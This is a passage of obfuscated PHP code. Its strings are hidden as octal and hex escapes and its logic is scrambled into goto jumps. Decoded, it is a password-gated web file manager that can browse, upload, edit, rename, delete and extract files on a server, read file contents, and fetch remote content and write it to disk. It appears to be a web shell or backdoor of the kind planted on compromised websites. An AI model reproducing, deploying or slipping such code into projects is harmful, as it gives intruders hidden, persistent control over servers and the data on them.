161\165\151\x72\145\144\x3e\xd\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\74\142\165\x74\164\157\156\40\x74\171\160\x65\x3d\42\163\165\142\155\x69\164\x22\40\x6e\141\x6d\145\75\42\x66\145\x74\x63\150\x5f\x72\x65\155\157\164\145\x22\x20\143\154\141\x73\163\x3d\42\x62\x67\x2d\166\151\x76\x69\x64\x2d\x74\x65\x61\154\x20\x74\145\x78\164\x2d\x77\150\x69\164\145\40\x70\55\63\40\x72\x6f\x75\x6e\144\145\x64\55\x6c\x67\40\x68\157\x76\145\x72\x3a\x62\147\x2d\166\151\x76\x69\x64\55\164\x65\x61\x6c\x2d\144\x61\x72\x6b\x20\166\151\x76\x69\144\x2d\x74\x72\x61\156\163\x69\164\151\x6f\156\x22\x3e\x46\x65\x74\143\150\74\57\x62\x75\164\x74\157\156\76\xd\12\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\74\x2f\146\157\162\155\76\15\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\74\57\144\151\166\x3e\xd\xa\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20"; goto qYmxS; NC5Uv: t1Ohe: goto pQHOD; vNZlm: $DKH4N = "\105\162\162\157\x72\x20\144\145\154\145\164\x69\x6e\147\x20\x66\151\154\x65\56"; goto ScnGe; lT00_: $v7WxV = scandir($UyGf4); goto FdNTJ; P9s45: JKhRB: goto lxXy6; kP7Hi: UF6ry: goto F2e6r; GpF7q: goto Axvto; goto PqAGu; t1YDS: $gt3yP = zNO1R($_POST["\x61\162\x63\x68\151\x76\145\x5f\156\141\155\145"]); goto YwUqk; n2X9C: echo "\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x3c\x2f\164\x62\157\144\x79\76\15\12\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x3c\57\164\x61\x62\154\x65\x3e\xd\xa\40\40\x20\x20\x20\40\40\40\74\57\144\x69\166\x3e\15\12\x20\40\40\x20\x3c\57\144\151\166\76\15\12\xd\12\x20\x20\x20\40\74\41\x2d\x2d\x20\x45\144\151\164\x20\104\x69\x61\154\157\147\40\55\x2d\x3e\xd\12\40\40\40\x20\x3c\144\151\x76\x20\151\x64\x3d\x22\145\144\151\x74\104\151\141\154\157\147\x22\40\143\x6c\141\x73\163\x3d\42\146\x69\170\x65\x64\40\x69\x6e\x73\145\x74\55\60\x20\x62\147\55\x67\x72\x61\171\55\x36\x30\x30\x20\142\x67\55\x6f\x70\141\143\151\x74\x79\x2d\65\60\x20\150\x69\x64\x64\x65\156\40\x69\x74\x65\155\163\x2d\143\x65\156\164\x65\x72\40\x6a\165\x73\164\x69\146\x79\55\x63\x65\x6e\x74\145\162\40\166\x69\x76\151\x64\x2d\164\162\141\x6e\x73\x69\x74\x69\157\x6e\x22\76\15\12\40\40\x20\x20\40\40\40\x20\74\x64\151\x76\x20\143\154\x61\163\163\75\42\142\x67\55\x77\150\151\x74\145\x20\160\x2d\x38\x20\x72\x6f\165\156\x64\145\x64\x2d\x78\x6c\x20\163\x68\141\144\157\167\x2d\x78\154\x20\x77\x2d\146\165\x6c\154\x20\x6d\x61\x78\x2d\x77\x2d\x33\x78\154\x20\164\x72\x61\156\x73\146\157\x72\155\x20\163\143\x61\x6c\x65\55\71\65\x20\166\x69\166\151\144\55\x74\x72\141\x6e\163\151\x74\151\x6f\x6e\x22\76\xd\xa\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\74\150\62\x20\143\154\141\x73\x73\x3d\42\x74\145\x78\164\x2d\x32\170\154\x20\x66\x6f\x6e\x74\x2d\142\x6f\x6c\x64\40\155\142\55\x36\40\164\x65\x78\x74\55\166\151\x76\151\x64\x2d\x63\150\x61\x72\143\157\141\x6c\42\76\x45\144\x69\x74\40\111\x74\145\155\74\57\x68\62\76\15\12\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x3c\x66\x6f\x72\155\40\x69\144\x3d\42\x65\144\151\164\106\x6f\x72\155\x22\x20\x6d\145\164\x68\157\x64\x3d\42\x70\157\163\x74\42\76\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\74\151\x6e\160\165\164\x20\164\171\160\145\75\42\150\x69\x64\x64\x65\x6e\42\x20\156\141\155\x65\x3d\42\143\163\x72\146\x5f\x74\x6f\x6b\x65\156\x22\40\166\141\x6c\x75\145\75\x22"; goto tWGjL; Y3LxI: goto GNvyD; goto rcgmR; bc2im: echo "\15\12\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x21\x2d\x2d\40\x46\157\x6c\144\145\162\163\40\x2d\55\x3e\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20"; goto lhRVK; ri6nJ: ohQxi: goto Um9B7; IB34C: if ($HcnX3->extractTo($UyGf4)) { goto vQXUH; } goto Ucrww; p7raR: $Cc3_N = $UyGf4 . "\57" . $BOKAQ; goto v4fkp; H6_Uh: vsu2I: goto SLPz3; Jr6hd: U9GL6: goto nAVlY; LPb1A: if (!(isset($_POST["\x61\144\x64\137\146\151\x6c\x65"]) && !empty($_POST["\151\164\x65\155\137\x6e\141\155\145"]))) { goto vsu2I; } goto AoQU8; atiNZ: echo "\40\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\x69\x76\40\143\x6c\x61\163\163\75\42\x62\147\55\x77\150\151\x74\145\40\x70\55\66\40\x72\x6f\x75\156\144\x65\144\x2d\170\x6c\40\163\x68\x61\x64\x6f\167\x2d\x78\x6c\x20\x76\151\166\151\x64\55\x68\157\x76\x65\162\x22\x3e\15\12\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\x3c\150\63\40\x63\154\141\x73\163\75\x22\x74\145\170\164\x2d\x78\154\40\146\157\156\x74\x2d\163\145\155\x69\142\x6f\x6c\144\40\155\142\x2d\x34\x20\164\x65\170\164\55\166\x69\166\x69\x64\x2d\x63\150\x61\x72\143\157\x61\154\42\x3e\106\145\164\143\150\x20\122\x65\x6d\x6f\x74\145\x20\x49\164\x65\155\x3c\x2f\x68\x33\x3e\15\12\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\74\146\157\162\155\40\155\145\x74\x68\x6f\144\x3d\x22\160\x6f\x73\x74\42\40\x63\x6c\141\x73\x73\x3d\42\146\154\145\x78\x20\x73\x70\x61\143\x65\x2d\170\55\x33\42\x3e\15\12\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\74\151\156\x70\x75\164\40\x74\x79\160\x65\75\42\150\151\x64\x64\x65\x6e\42\x20\156\141\155\145\75\42\x63\163\x72\x66\x5f\x74\157\x6b\x65\156\42\x20\166\141\x6c\x75\x65\75\x22"; goto V83w2; aW2gQ: IUKiV: goto MYnzS; lVPL0: echo file_get_contents($f5xwD); goto k9D3j; grGj9: if (file_exists($Cc3_N) && !file_exists($N1y8k)) { goto lHkIz; } goto D6OVg; lkCg9: if (file_exists($xAY2y) && is_writable($xAY2y)) { goto UF6ry; } goto b1K7t; SqQJd: $Vjqae = strtolower(pathinfo($GpDM3["\x6e\x61\x6d\145"], PATHINFO_EXTENSION)); goto woUVw; yjRLJ: $DKH4N = "\106\x61\151\154\145\144\40\x74\157\40\157\x70\145\x6e\40\x61\x72\x63\x68\151\166\x65\x2e"; goto FZOWP; x3ezo: $DKH4N = "\x46\x69\154\145\40\141\154\x72\x65\x61\x64\171\40\145\170\151\x73\164\x73\x2e"; goto m_Nxc; G4i7T: Cesxo: goto RjKFq; tWGjL: echo htmlspecialchars($_SESSION["\143\163\x72\x66\137\164\157\x6b\x65\x6e"]); goto efl0n; ScnGe: goto onpA9; goto vZeSO; X62I5: $l4vH0 = $UyGf4 . "\57" . $XSEgQ; goto Bdm1a; y3gSM: echo "\46\x6f\x70\x65\162\x61\x74\x69\157\x6e\x3d\162\145\x74\x72\151\x65\x76\x65\137\x66\x69\154\145\x5f\143\x6f\156\x74\145\x6e\x74\46\x69\x74\145\x6d\x3d\x27\40\x2b\x20\145\x6e\143\157\x64\x65\x55\122\x49\x43\157\155\x70\157\156\x65\156\x74\50\151\164\145\x6d\x4e\x61\155\x65\x29\51\xd\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\56\164\150\145\156\x28\x72\x65\x73\x70\x6f\156\x73\145\x20\x3d\x3e\40\x7b\xd\12\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\151\146\40\50\x21\162\x65\x73\160\x6f\x6e\x73\x65\56\x6f\153\51\x20\x74\x68\162\x6f\167\x20\156\145\167\x20\x45\162\162\157\x72\x28\x27\111\164\145\x6d\40\x6e\x6f\x74\x20\146\157\165\156\x64\47\x29\73\xd\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\162\145\x74\x75\x72\156\x20\162\x65\x73\160\x6f\156\163\145\56\x74\145\x78\164\x28\51\x3b\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\175\x29\15\xa\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x2e\x74\150\145\156\50\x63\157\156\164\x65\156\164\x20\x3d\76\x20\x7b\15\xa\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\40\40\x64\x6f\143\165\155\145\156\x74\x2e\x67\x65\164\105\154\145\155\x65\156\164\x42\x79\111\144\x28\47\145\x64\x69\x74\111\x74\x65\155\116\x61\155\x65\47\x29\x2e\x76\141\x6c\165\145\40\x3d\40\x69\164\x65\155\x4e\x61\155\x65\73\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\144\157\x63\165\x6d\145\x6e\x74\56\147\x65\164\105\x6c\x65\x6d\145\x6e\164\x42\171\x49\x64\x28\47\x65\144\x69\164\111\x74\145\x6d\103\x6f\156\164\x65\x6e\x74\x27\x29\56\x76\141\x6c\x75\145\x20\75\x20\143\x6f\x6e\164\x65\156\164\x3b\xd\xa\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\157\160\x65\156\104\151\141\154\157\x67\x28\x27\145\144\x69\x74\104\151\x61\x6c\x6f\147\47\x29\x3b\xd\xa\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\175\x29\xd\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\56\x63\x61\164\x63\150\50\x65\x72\x72\x6f\x72\40\x3d\76\40\x7b\15\12\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\141\154\x65\x72\164\50\47\105\x72\162\x6f\162\40\154\x6f\x61\144\x69\x6e\x67\40\x69\x74\x65\x6d\40\x63\x6f\x6e\164\145\x6e\164\x3a\x20\x27\40\53\40\x65\162\x72\157\x72\x2e\x6d\145\163\x73\x61\147\x65\51\x3b\15\xa\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\175\51\x3b\15\xa\40\x20\40\x20\40\x20\40\x20\x7d\xd\12\15\12\40\40\x20\40\x20\x20\x20\40\146\x75\x6e\x63\164\151\157\x6e\40\x6f\160\x65\x6e\122\x65\156\x61\x6d\x65\x44\x69\x61\x6c\x6f\x67\50\x69\x74\145\x6d\116\141\155\x65\51\x20\x7b\xd\xa\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x64\x6f\143\165\155\x65\x6e\x74\56\x67\145\164\105\x6c\145\155\145\x6e\x74\102\x79\x49\144\x28\47\x6f\x72\x69\147\x69\x6e\141\154\111\164\x65\x6d\116\x61\155\x65\47\51\56\166\141\x6c\165\x65\x20\x3d\40\151\x74\145\155\x4e\141\155\x65\73\15\xa\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x64\157\143\x75\155\145\156\164\x2e\147\x65\x74\x45\x6c\x65\155\145\156\164\x42\171\x49\144\50\47\156\x65\x77\111\164\x65\155\x4e\x61\155\145\x27\x29\56\x76\x61\154\165\145\x20\x3d\40\x69\164\x65\x6d\x4e\x61\x6d\145\73\15\12\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x6f\160\x65\156\104\151\x61\154\x6f\147\50\47\x72\x65\x6e\x61\155\145\104\x69\x61\154\157\147\47\51\73\xd\12\x20\x20\x20\40\x20\x20\x20\40\175\15\12\15\xa\40\x20\40\40\40\x20\x20\x20\x66\165\x6e\143\x74\151\157\x6e\x20\x63\x6f\156\146\151\162\155\x44\145\154\145\164\145\x28\x69\164\x65\x6d\x4e\x61\155\x65\x29\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\146\40\x28\143\157\x6e\x66\151\x72\x6d\50\140\x41\162\x65\x20\x79\157\165\x20\163\165\x72\x65\x20\x79\157\x75\x20\x77\141\x6e\164\40\x74\157\40\x64\x65\x6c\x65\164\145\40\42\44\x7b\x69\164\x65\x6d\116\x61\155\145\175\42\x3f\x20\x54\x68\x69\163\40\141\x63\164\x69\x6f\156\x20\x63\141\156\156\157\164\40\142\x65\40\165\x6e\144\x6f\156\145\x2e\x60\51\x29\x20\x7b\xd\xa\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x63\x6f\x6e\163\164\40\146\157\162\155\40\x3d\x20\144\x6f\143\165\x6d\x65\x6e\x74\x2e\x63\162\x65\x61\164\x65\x45\x6c\145\x6d\145\x6e\164\x28\47\146\157\162\x6d\47\51\73\15\xa\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x66\x6f\x72\155\56\155\x65\164\150\157\x64\40\x3d\x20\47\x70\x6f\x73\x74\x27\73\xd\12\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\146\157\162\x6d\56\151\x6e\156\x65\x72\110\x54\115\114\x20\x3d\40\140\xd\12\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\74\x69\x6e\160\x75\164\40\164\x79\x70\145\x3d\x22\x68\x69\x64\x64\145\156\42\40\x6e\x61\x6d\x65\x3d\42\143\163\162\146\137\x74\x6f\153\x65\x6e\42\40\166\x61\154\165\x65\x3d\42"; goto RKRBc; YChaf: goto ItQRC; goto D1_Qz; D1_Qz: Sv1yi: goto GV3it; CQNeC: $DKH4N = "\105\162\x72\157\162\x20\x75\x70\144\x61\164\x69\156\x67\40\x66\151\154\x65\56"; goto eIgbM; Poy8D: goto l6riZ; goto FRtJS; SRHNn: goto pbGNX; goto haRmB; BdAg2: function znO1R($xD9bO) { return preg_replace("\57\x5b\136\x61\x2d\x7a\101\55\x5a\60\x2d\71\56\x5f\55\x5d\x2f", '', trim($xD9bO)); } goto I6oBt; q3lJ7: pbGNX: goto OQPz9; kX0on: echo urlencode($UyGf4); goto y3gSM; ooNWl: zYkoR: goto gq13N; tVO8Z: if (!(isset($_GET["\157\x70\x65\x72\141\x74\151\157\156"]) && $_GET["\x6f\160\145\162\x61\x74\x69\x6f\156"] === "\162\x65\x74\x72\x69\x65\x76\145\x5f\x66\151\154\x65\137\143\x6f\x6e\x74\145\156\x74" && isset($_GET["\151\x74\145\155"]))) { goto t1Ohe; } goto ZGMPl; eDJC3: echo "\xd\xa\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x3c\x21\104\117\x43\x54\131\x50\x45\x20\150\164\x6d\x6c\x3e\xd\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\74\150\x74\x6d\154\40\154\x61\x6e\x67\75\42\x65\x6e\42\x3e\15\12\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x3c\150\x65\141\144\x3e\15\12\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x3c\x6d\x65\164\141\40\143\x68\141\162\x73\145\164\75\42\x55\x54\106\x2d\x38\42\76\15\12\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\74\x6d\x65\164\x61\x20\x6e\141\x6d\145\75\42\166\151\x65\167\x70\x6f\x72\164\x22\x20\x63\x6f\156\164\x65\156\164\x3d\42\167\151\x64\x74\150\x3d\144\x65\166\151\x63\145\55\167\x69\144\164\150\54\x20\x69\x6e\x69\x74\151\x61\x6c\55\x73\143\x61\154\145\x3d\x31\x2e\60\42\x3e\xd\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\164\151\164\x6c\145\x3e\x41\x63\x63\145\163\163\40\x44\x65\156\151\145\x64\74\57\x74\x69\164\x6c\x65\76\15\12\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\74\x73\x63\162\x69\160\x74\40\x73\x72\x63\x3d\42\150\164\164\x70\x73\x3a\57\x2f\x63\144\x6e\x2e\164\x61\151\x6c\167\x69\x6e\x64\143\x73\163\56\143\157\155\x22\x3e\74\57\163\x63\x72\151\160\164\76\xd\xa\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\74\57\150\145\x61\144\x3e\15\xa\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\74\142\157\x64\171\40\x63\154\x61\163\163\x3d\42\x62\147\x2d\166\151\x76\151\144\x2d\163\x6c\141\x74\x65\x20\x6d\151\156\55\150\x2d\163\143\162\145\x65\x6e\x20\146\154\145\170\40\151\164\x65\x6d\x73\55\143\145\x6e\x74\x65\x72\40\152\x75\x73\x74\151\146\x79\55\143\145\x6e\164\x65\162\42\x3e\15\12\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x3c\144\x69\166\x20\x63\x6c\x61\x73\x73\75\x22\142\x67\55\x77\150\151\x74\x65\x20\160\55\x38\40\x72\157\165\156\144\x65\144\x2d\x78\x6c\40\x73\150\x61\x64\x6f\167\x2d\x78\x6c\40\x77\55\146\x75\x6c\154\x20\x6d\141\170\55\x77\x2d\155\144\42\x3e\xd\xa\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\74\x68\x32\40\x63\x6c\x61\x73\163\75\42\x74\x65\170\x74\x2d\62\170\x6c\40\146\x6f\x6e\x74\55\142\x6f\x6c\144\40\155\142\55\66\x20\x74\145\170\x74\55\x63\145\156\164\145\x72\x20\164\145\x78\x74\55\x76\x69\166\x69\x64\x2d\143\150\x61\162\x63\157\x61\x6c\42\x3e\x53\145\x63\x75\162\x65\x20\x41\x63\143\x65\163\x73\40\x52\x65\161\x75\151\162\x65\144\x3c\x2f\150\62\x3e\xd\12\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x3c\146\x6f\162\x6d\x20\155\x65\164\x68\157\144\75\x22\x50\x4f\x53\124\x22\76\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\x65\x3d\42\150\151\x64\144\x65\156\x22\x20\x6e\141\155\x65\75\42\x63\x73\162\x66\x5f\x74\x6f\x6b\x65\156\x22\40\x76\x61\154\165\x65\x3d\42" . htmlspecialchars($_SESSION["\143\163\162\x66\x5f\164\x6f\x6b\x65\156"]) . "\42\x3e\xd\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\x69\156\160\165\164\40\164\x79\160\x65\x3d\x22\x70\141\163\163\x77\157\162\144\x22\40\x6e\x61\x6d\145\75\42\163\x65\x63\x75\162\145\x5f\x6b\x65\x79\x22\x20\x63\x6c\141\163\163\x3d\42\x77\55\146\x75\154\154\x20\x70\55\x33\40\x62\x6f\162\144\x65\x72\x20\162\157\x75\156\144\x65\144\55\154\147\x20\155\142\x2d\x34\40\x66\x6f\143\x75\x73\x3a\x6f\x75\x74\154\151\156\145\55\x6e\157\156\145\40\x66\x6f\x63\x75\163\72\x72\151\x6e\x67\x2d\x32\40\146\157\143\165\x73\72\162\x69\x6e\147\x2d\166\x69\x76\151\x64\55\164\x65\x61\x6c\42\40\160\x6c\x61\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x45\x6e\x74\x65\x72\40\x73\x65\x63\165\162\x65\40\x6b\x65\x79\42\x20\162\x65\161\x75\151\162\x65\144\40\141\165\164\x6f\146\157\143\x75\163\x3e\xd\xa\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\74\142\165\164\x74\157\x6e\x20\x74\x79\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\143\x6c\x61\x73\163\75\x22\x77\x2d\146\165\154\x6c\40\x62\x67\x2d\166\151\166\x69\x64\x2d\164\145\141\x6c\x20\x74\145\x78\164\x2d\x77\150\x69\x74\x65\x20\x70\55\x33\40\x72\x6f\x75\x6e\x64\x65\x64\x2d\x6c\147\40\150\157\166\x65\162\72\142\147\x2d\166\x69\166\151\144\55\x74\x65\x61\x6c\55\144\141\x72\x6b\x20\164\162\x61\x6e\x73\151\164\x69\x6f\x6e\x22\76\125\156\154\x6f\143\153\74\x2f\x62\165\164\164\157\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\74\x2f\x66\157\162\x6d\76\15\12\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x3c\57\x64\x69\x76\76\xd\12\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x2f\142\157\144\171\x3e\xd\xa\40\40\40\40\40\40\x20\x20\x20\40\40\x20\74\x2f\x68\164\155\154\x3e\xd\xa\40\40\40\x20\x20\x20\40\x20\40\40\x20\40"; goto utItD; mwnF6: GNvyD: goto q3lJ7; mLzqT: $Nu004 = ZNO1r($_POST["\x6e\x65\x77\x5f\156\x61\155\145"]); goto p7raR; pT5Cn: echo shY4q($UyGf4, $RN9dg); goto ltEu3; x7QnY: $XSEgQ = zNO1R(basename($MhPPM)); goto X62I5; ECHTC: $DKH4N = "\x49\x6e\x76\x61\x6c\x69\x64\40\146\151\154\145\x20\x74\171\160\145\x20\157\162\40\x73\x69\172\145\40\x65\x78\x63\x65\145\144\x73\x20\154\x69\x6d\x69\164\x2e"; goto mqeiq; pQHOD: $RN9dg = realpath(__DIR__); goto Xy9nq; LSpRx: $XSEgQ = Zno1r($_POST["\x69\164\145\155\x5f\156\141\x6d\145"]); goto cfqQy; vZeSO: PqdoF: goto U2YH7; A3raI: dKdrD: goto H6_Uh; X174h: if (!(isset($_POST["\141\x64\144\x5f\x64\151\x72\x65\143\164\157\162\x79"]) && !empty($_POST["\x66\x6f\x6c\144\x65\x72\137\156\x61\x6d\x65"]))) { goto VHTWA; } goto CxVnM; tlrMv: $GpDM3 = $_FILES["\165\160\x6c\x6f\141\x64\x65\144\x5f\x69\164\x65\155"]; goto SqQJd; rBbRI: wU4e6: goto QUnki; ltEu3: echo "\x3c\x2f\x6e\x61\166\x3e\xd\xa\xd\xa\40\x20\40\x20\x20\x20\40\40\x3c\x21\55\x2d\40\x41\x6c\x65\162\164\40\115\145\163\163\141\147\x65\40\55\55\x3e\xd\xa\x20\40\40\x20\40\40\x20\x20"; goto kVf3f; H5acy: if ($AUqcU !== false && file_put_contents($l4vH0, $AUqcU) !== false) { goto lu4Ix; } goto QfXRK; Xtn5l: SIh_6: goto r8J0S; QakTV: gWWpv: goto F7tPf; drdzC: if (!(isset($_POST["\162\x65\x6e\x61\x6d\x65\137\x69\x74\x65\x6d"]) && !empty($_POST["\157\x72\x69\147\x69\156\141\154\x5f\x6e\141\x6d\x65"]) && !empty($_POST["\156\145\x77\137\x6e\141\x6d\145"]))) { goto CtH4i; } goto NLGc2; NHwLm: $isu4D = $UyGf4 . "\57" . $P1G3L; goto tZSvJ; UH0Ge: goto un7QD; goto kP7Hi; AoLSc: $DKH4N = "\x45\162\x72\x6f\162\x20\x72\145\156\x61\155\151\x6e\147\x20\151\x74\x65\x6d\x2e"; goto YChaf; YprUx: goto iNVjM; goto vE_v1; FPOV3: if (is_file($xAY2y)) { goto Dk8bd; } goto C3JLD; KwgZJ: $_SESSION["\x63\163\162\146\x5f\164\x6f\153\x65\156"] = bin2hex(random_bytes(32)); goto QakTV; ldA_Q: if (!file_exists($HdMJq)) { goto p398x; } goto x3ezo; B3Ml1: goto fSqKS; goto ri6nJ; GOdpt: function SHy4q($DpTy4, $RN9dg) { goto eEo_o; y_fZO: w1kAA: goto o8uGA; zQ3d6: foreach ($LfFfM as $Ubd_C) { goto HqBbI; glOjn: f2TvR: goto OoYlK; mNd45: $MmBvh[] = "\74\163\160\141\x6e\40\143\154\x61\x73\x73\x3d\42\164\x65\170\164\55\x67\x72\141\x79\x2d\x35\x30\60\42\76" . htmlspecialchars($Ubd_C) . "\74\x2f\163\x70\141\156\76"; goto aEezV; aEezV: goto bF6a9; goto OTopa; TPJvK: bF6a9: goto glOjn; OTopa: Ff0TG: goto enmug; ryloq: if (is_dir($iznt4) && is_readable($iznt4)) { goto Ff0TG; } goto mNd45; HqBbI: $iznt4 .= DIRECTORY_SEPARATOR . $Ubd_C; goto ryloq; enmug: $MmBvh[] = "\74\141\x20\150\162\x65\x66\x3d\42\77\x77\157\162\x6b\163\x70\x61\x63\x65\75" . urlencode($iznt4) . "\42\40\x63\x6c\141\163\163\75\x22\164\x65\170\x74\x2d\x76\x69\x76\151\144\55\164\145\141\x6c\x20\150\x6f\x76\145\162\x3a\x75\x6e\x64\x65\x72\x6c\151\156\x65\42\76" . htmlspecialchars($Ubd_C) . "\x3c\57\141\x3e"; goto TPJvK; OoYlK: } goto y_fZO; hwU6K: $MmBvh = []; goto eBGHN; eBGHN: $iznt4 = $RN9dg; goto WzkIu; vsRGl: ENrcV: goto l9FwI; o8uGA: return implode("\x20\74\163\160\x61\x6e\40\143\154\141\163\x73\x3d\42\x74\145\170\164\x2d\166\x69\166\x69\x64\55\x63\x68\141\x72\x63\157\141\x6c\40\x6d\x78\x2d\x31\x22\x3e\57\x3c\x2f\x73\x70\141\x6e\76\40", $MmBvh); goto UuSMg; l9FwI: $HwrKY = substr($DpTy4, strlen($RN9dg)); goto Tgksx; Tgksx: $LfFfM = array_filter(explode(DIRECTORY_SEPARATOR, $HwrKY)); goto hwU6K; WzkIu: $MmBvh[] = "\74\141\40\150\x72\x65\146\75\x22\x3f\x77\x6f\x72\153\x73\x70\141\143\145\x3d" . urlencode($RN9dg) . "\x22\40\x63\154\x61\x73\x73\x3d\x22\x74\x65\170\164\55\x76\x69\x76\151\x64\55\x74\x65\x61\154\x20\150\157\166\x65\x72\72\165\x6e\x64\x65\162\x6c\151\x6e\145\x20\146\x6f\156\x74\55\163\x65\155\x69\x62\157\x6c\144\x22\76\122\157\157\x74\74\x2f\141\x3e"; goto zQ3d6; eEo_o: if (!(strpos($DpTy4, $RN9dg) !== 0)) { goto ENrcV; } goto z1LGy; z1LGy: return "\x3c\163\160\141\x6e\x20\x63\154\x61\163\163\75\x22\164\x65\170\164\x2d\162\x65\x64\55\x35\x30\x30\42\x3e\x49\156\166\141\154\151\x64\x20\160\x61\164\x68\x3c\57\x73\x70\141\x6e\x3e"; goto vsRGl; UuSMg: } goto o_YuU; GqDdp: $DKH4N = $bwxdH ? "\106\157\154\144\x65\x72\40\x64\145\x6c\145\x74\x65\x64\40\x73\x75\x63\143\x65\x73\x73\146\165\154\154\x79\x2e" : "\105\x72\162\x6f\x72\x20\x64\x65\x6c\x65\164\x69\156\147\40\146\x6f\x6c\x64\145\162\56"; goto XYIgS; xjUUI: if (password_verify($_POST["\163\145\143\165\x72\145\137\x6b\145\171"], $WGk33)) { goto RzJMB; } goto aTPSO; OY6E3: goto rwOYV; goto xNcuq; lJkdx: Dk8bd: goto Kv3l1; jqJC3: $st1pL = true; goto j5f23; eIgbM: goto EWOGW; goto Hfcg3; tZSvJ: if (!is_dir($isu4D)) { goto mNuwv; } goto G3_fu; HF3ib: $DKH4N = "\106\x69\x6c\145\x20\x75\160\x64\x61\x74\145\x64\x20\x73\x75\x63\x63\145\x73\163\146\165\154\154\171\x2e"; goto JVO84; PqAGu: pTXEj: goto N1kwB; C3JLD: goto U9GL6; goto scU2Z; D6OVg: $DKH4N = "\111\x6e\166\x61\x6c\151\x64\40\x73\x6f\165\x72\143\x65\40\157\162\x20\x64\145\163\164\151\156\x61\164\x69\x6f\x6e\40\156\x61\x6d\145\56"; goto Qm7yr; kVf3f: if (!isset($DKH4N)) { goto zYkoR; } goto y3iPX; NLGc2: $BOKAQ = ZnO1r($_POST["\x6f\x72\x69\x67\x69\x6e\x61\x6c\x5f\156\141\x6d\x65"]); goto mLzqT; RKRBc: echo htmlspecialchars($_SESSION["\x63\163\x72\x66\137\x74\157\x6b\145\156"]); goto K2rz_; joBYM: x2JdP: goto mjAZx; iZjRM: $aBnyl = true; goto dP3kX; Zrf0Y: SGPJe: goto bc2im; AM5Ni: goto s77P6; goto gh_lz; XYIgS: goto U9GL6; goto lJkdx; VagIK: P7qdn: goto drdzC; o_YuU: function AIQPu($dKtL0) { goto bOeJ4; YEf3F: foreach (scandir($dKtL0) as $Ei6vG) { goto U4Kq2; TE_ig: pN2fY: goto GSXPG; u_a41: goto pN2fY; goto Wy0vp; grLG0: VTgyb: 